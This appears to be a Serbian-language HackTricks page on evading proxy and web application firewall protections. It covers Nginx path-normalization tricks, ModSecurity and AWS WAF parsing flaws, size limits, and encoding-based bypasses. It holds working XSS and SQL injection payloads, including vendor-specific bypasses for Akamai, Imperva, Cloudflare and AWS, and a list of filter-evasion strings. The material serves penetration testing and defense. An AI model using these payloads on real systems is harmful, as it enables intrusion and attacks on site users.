Zaobilaženje Proxy / WAF zaštita

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Zaobilaženje Nginx ACL Rules sa Pathname Manipulation

Tehnike iz ovog istraživanja.

Primer Nginx pravila:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Da bi sprečio zaobilaženja, Nginx izvodi normalizaciju putanje pre nego što je proveri. Međutim, ako backend server izvrši drugačiju normalizaciju (uklanjajući karaktere koje Nginx ne uklanja), može biti moguće zaobići ovu odbranu.

NodeJS - Express

Nginx VersionNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM konfiguracija:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx je konfigurisan da blokira pristup /admin.php, ali je moguće to zaobići pristupom /admin.php/index.php.

Kako to sprečiti

location ~* ^/admin {
deny all;
}

Bypass Mod Security Rules

Path Confusion

In this post objašnjeno je da je ModSecurity v3 (do 3.0.12) pogrešno implementirao varijablu REQUEST_FILENAME koja je trebalo da sadrži pristupnu putanju (do početka parametara). To je zato što je vršio dekodiranje URL-a da bi dobio putanju.
Dakle, zahtev kao http://example.com/foo%3f';alert(1);foo= će u ModSecurity-ju biti shvaćen da je putanja samo /foo zato što se %3f transformiše u ? i završava URL putanju, ali zapravo putanja koju server prima biće /foo%3f';alert(1);foo=.

Varijable REQUEST_BASENAME i PATH_INFO su takođe bile pogođene ovim bagom.

Nešto slično se desilo u verziji 2 Mod Security, što je omogućilo zaobilaženje zaštite koja je sprečavala korisnika da pristupi fajlovima sa određenim ekstenzijama vezanim za backup (kao što je .bak) jednostavno slanjem tačke URL-enkodovane kao %2e, na primer: https://example.com/backup%2ebak.

Bypass AWS WAF ACL

Malformed Header

This research pominje da je bilo moguće zaobići AWS WAF pravila primenjena na HTTP zaglavlja slanjem “malformed” zaglavlja koje AWS nije pravilno parsirao, dok ga je backend server prihvatao.

For example, sending the following request with a SQL injection in the header X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Bilo je moguće zaobići AWS WAF zato što on nije razumeo da je naredni red deo vrednosti header-a, dok je NODEJS server to razumeo (ovo je ispravljeno).

Generički WAF bypasses

Request Size Limits

Obično WAF-ovi imaju određeno ograničenje dužine zahteva koje proveravaju, i ako je POST/PUT/PATCH zahtev veći od toga, WAF neće proveriti zahtev.

Maksimalna veličina tela web zahteva koja može biti pregledana za Application Load Balancer i AWS AppSync zaštite8 KB
Maksimalna veličina tela web zahteva koja može biti pregledana za CloudFront, API Gateway, Amazon Cognito, App Runner, i Verified Access zaštite**64 KB

Stariji Web Application Firewalls sa Core Rule Set 3.1 (ili nižim) dozvoljavaju poruke veće od 128 KB isključivanjem inspekcije tela zahteva, ali te poruke neće biti proveravane na ranjivosti. Za novije verzije (Core Rule Set 3.2 ili novije), isto se može postići onemogućavanjem maksimalnog ograničenja veličine tela zahteva. Kada zahtev premaši limit:

Ako je u prevention mode: Beleži i blokira zahtev.
Ako je u detection mode: Pregleda do limita, ignoriše ostatak, i evidentira ako Content-Length premašuje limit.

Po defaultu, WAF pregleda samo prvih 8KB zahteva. Limit se može povećati do 128KB dodavanjem Advanced Metadata.

Do 128KB.

Static assets inspection gaps (.js GETs)

Neke CDN/WAF konfiguracije primenjuju slabu ili nikakvu inspekciju sadržaja za GET zahteve za statičke resurse (na primer putanje koje se završavaju sa .js), dok i dalje primenjuju globalna pravila kao što su rate limiting i IP reputation. U kombinaciji sa automatskim keširanjem statičkih ekstenzija, ovo se može zloupotrebiti za isporuku ili ubacivanje malicioznih varijanti koje utiču na naknadne HTML odgovore.

Praktični slučajevi upotrebe:

  • Pošaljite payload-e u nepouzdanim header-ima (npr. User-Agent) na GET prema .js putanji da izbegnete inspekciju sadržaja, zatim odmah zatražite glavni HTML da biste uticali na keširanu varijantu.
  • Koristite svež/čist IP; kada je IP označen, promene u rutiranju mogu učiniti tehniku nepouzdanom.
  • U Burp Repeater-u koristite “Send group in parallel” (single-packet style) da takmičite dva zahteva (.js pa HTML) kroz isti front-end put.

Ovo se dobro kombinuje sa header-reflection cache poisoning. Vidi:

Cache Poisoning and Cache Deception

Obfuskacija

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode kompatibilnost

U zavisnosti od implementacije Unicode normalizacije (više informacija here), karakteri koji dele Unicode kompatibilnost mogu biti u stanju da zaobiđu WAF i izvrše se kao predviđeni payload. Kompatibilni karakteri se mogu naći here.

Primer

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Zaobilaženje kontekstualnih WAF-ova pomoću enkodiranja

Kao što je pomenuto u this blog post, da bismo zaobišli WAF-ove koji mogu da održe kontekst korisničkog unosa, možemo zloupotrebiti tehnike WAF-a da zapravo normalizujemo korisnički unos.

Na primer, u postu se pominje da je Akamai URL decoded a user input 10 times. Stoga će nešto poput <input/%2525252525252525253e/onfocus Akamai videti kao <input/>/onfocus što može delovati kao da je tag zatvoren. Međutim, sve dok aplikacija sama ne izvrši URL decode 10 puta, žrtva će videti nešto poput <input/%25252525252525253e/onfocus što je i dalje validno za XSS napad.

Dakle, ovo omogućava da sakrijemo payload-ove u enkodiranim komponentama koje će WAF dekodirati i interpretirati, dok žrtva neće.

Štaviše, ovo se može raditi ne samo sa URL enkodiranim payload-ovima već i sa drugim enkodiranjima kao što su unicode, hex, octal…

U postu su predloženi sledeći konačni bypass-ovi:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Takođe se pominje da, u zavisnosti od kako neki WAF-ovi razumeju kontekst korisničkog unosa, može biti moguće i to zloupotrebiti. Predloženi primer u blogu je da je Akamai dozvoljavao stavljanje bilo čega između /* i */ (potencijalno zato što se ovo često koristi kao komentar). Dakle, SQL injection kao /*'or sleep(5)-- -*/ neće biti uhvaćen i biće validan jer je /* početni string injekcije, a */ je komentarisano.

Ovakvi problemi konteksta se takođe mogu iskoristiti za zloupotrebu drugih ranjivosti osim one koju WAF očekuje (npr. ovo se može koristiti i za eksploatisanje XSS-a).

Inline JavaScript first-statement inspection gaps

Neki ruleseti za inline inspekciju parsiraju samo prvi JavaScript iskaz unutar event handler-a. Prefiksiranjem bezopasnog izraza u zagradama praćenog tačkom-zarezom (na primer onfocus="(history.length);payload"), maliciozni kod koji se nalazi posle tačke-zareza zaobilazi inspekciju dok ga browser i dalje izvršava. Kombinovanje ovoga sa fokusom izazvanim fragmentom (npr. dodavanjem #forgot_btn tako da ciljani element dobije fokus pri učitavanju) omogućava click-less XSS koji može odmah pozvati $.getScript i pokrenuti phishing alate kao što su keylogger-i. Pogledajte attribute-only login XSS case study izvedeno iz this research.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Različite tehnike se mogu koristiti za zaobilaženje regex filtera na firewall-ovima. Primeri uključuju menjanje velikih i malih slova, dodavanje preloma linije i enkodiranje payload-ova. Resursi za različite bypass metode mogu se naći na PayloadsAllTheThings i OWASP. Primeri ispod su preuzeti iz this article.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Alati

  • nowafpls: Burp plugin koji dodaje besmislene podatke u zahteve kako bi zaobišao WAF-ove na osnovu dužine

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks